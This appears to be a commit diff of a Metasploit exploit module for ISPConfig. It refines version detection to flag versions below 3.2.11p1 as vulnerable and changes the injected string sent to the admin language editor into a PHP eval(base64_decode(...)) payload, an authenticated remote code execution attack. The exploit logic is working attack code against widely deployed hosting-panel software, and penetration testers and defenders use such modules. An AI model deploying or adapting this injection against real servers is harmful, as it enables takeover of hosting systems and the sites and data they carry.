@@ -70,21 +70,21 @@ def initialize(info = {})
70
70
OptString . new ( 'USERNAME' , [ true , 'ISPConfig administrator username' ] ) ,
71
71
OptString . new ( 'PASSWORD' , [ true , 'ISPConfig administrator password' ] )
72
72
] )
73
+
74
+ @authenticated = false
73
75
end
74
76
75
77
def check
76
78
print_status ( 'Checking if the target is ISPConfig...' )
77
- res = send_request_cgi ( {
78
- 'method' => 'GET' ,
79
- 'uri' => normalize_uri ( target_uri . path , 'login' )
80
- } )
81
- return CheckCode ::Unknown unless res
82
-
79
+
83
80
# Try to log in and parse version if credentials are provided
84
81
if datastore [ 'USERNAME' ] && datastore [ 'PASSWORD' ]
85
- login_res = send_request_cgi ( {
82
+ # Clear any existing cookies before login
83
+ cookie_jar . clear
84
+
85
+ login_res = send_request_cgi! ( {
86
86
'method' => 'POST' ,
87
- 'uri' => normalize_uri ( target_uri . path , 'login' ) ,
87
+ 'uri' => normalize_uri ( target_uri . path , 'login/ ' ) ,
88
88
'vars_post' => {
89
89
'username' => datastore [ 'USERNAME' ] ,
90
90
'password' => datastore [ 'PASSWORD' ] ,
@@ -96,26 +96,27 @@ def check
96
96
# Try to access the dashboard or settings page
97
97
settings_res = send_request_cgi ( {
98
98
'method' => 'GET' ,
99
- 'uri' => normalize_uri ( target_uri . path , 'admin ' , 'index .php' ) ,
99
+ 'uri' => normalize_uri ( target_uri . path , 'help ' , 'version .php' ) ,
100
100
'keep_cookies' => true
101
101
} )
102
102
if settings_res
103
103
doc = settings_res . get_html_document
104
104
# Try to find version in a span, div, or similar element
105
- version_text = doc . text [ /ISPConfig\s *v?(\d +\. \d +(?:\. \d +)?(?:p\d +)?)/i , 1 ]
106
- if version_text
107
- print_good ( "ISPConfig version detected: #{ version_text } " )
108
- return CheckCode ::Appears ( "Version: #{ version_text } " )
105
+ version_element = doc . at ( '//p[@class="frmTextHead"]' )
106
+ if version_element
107
+ version_text = version_element . text
108
+ version = version_text . split ( ":" ) [ 1 ] . gsub ( " " , "" )
109
+ version = Rex ::Version . new ( version )
110
+ if version < Rex ::Version . new ( '3.2.11p1' )
111
+ print_good ( "ISPConfig version detected: #{ version_text } " )
112
+ @authenticated = true
113
+ return CheckCode ::Vulnerable ( "Version: #{ version_text } " )
114
+ end
109
115
end
110
116
end
111
117
end
112
118
end
113
119
114
- # Fallback to the previous check
115
- if res . body . include? ( 'ISPConfig' ) && ( res . body . include? ( 'login' ) || res . body . include? ( 'username' ) || res . body . include? ( 'password' ) )
116
- print_good ( 'ISPConfig installation detected' )
117
- return CheckCode ::Detected
118
- end
119
120
CheckCode ::Safe
120
121
end
121
122
@@ -226,7 +227,7 @@ def inject_payload
226
227
print_status ( 'Injecting PHP payload...' )
227
228
@payload_file = "#{ Rex ::Text . rand_text_alpha_lower ( 8 ) } .php"
228
229
b64_payload = Base64 . strict_encode64 ( payload . encoded )
229
- injection = "'];file_put_contents(' #{ @payload_file } ', base64_decode('#{ b64_payload } '));die;#"
230
+ injection = "'];eval( base64_decode('#{ b64_payload } '));die;#"
230
231
lang_file = Rex ::Text . rand_text_alpha_lower ( 10 ) + ".lng"
231
232
edit_url = normalize_uri ( target_uri . path , 'admin' , 'language_edit.php' )
232
233
initial_data = {
@@ -325,7 +326,10 @@ def cleanup
325
326
end
326
327
327
328
def exploit
328
- authenticate
329
+ unless @authenticated
330
+ authenticate
331
+ @authenticated = true
332
+ end
329
333
330
334
# Check if language editor permissions are enabled
331
335
unless check_langedit_permission
0 commit comments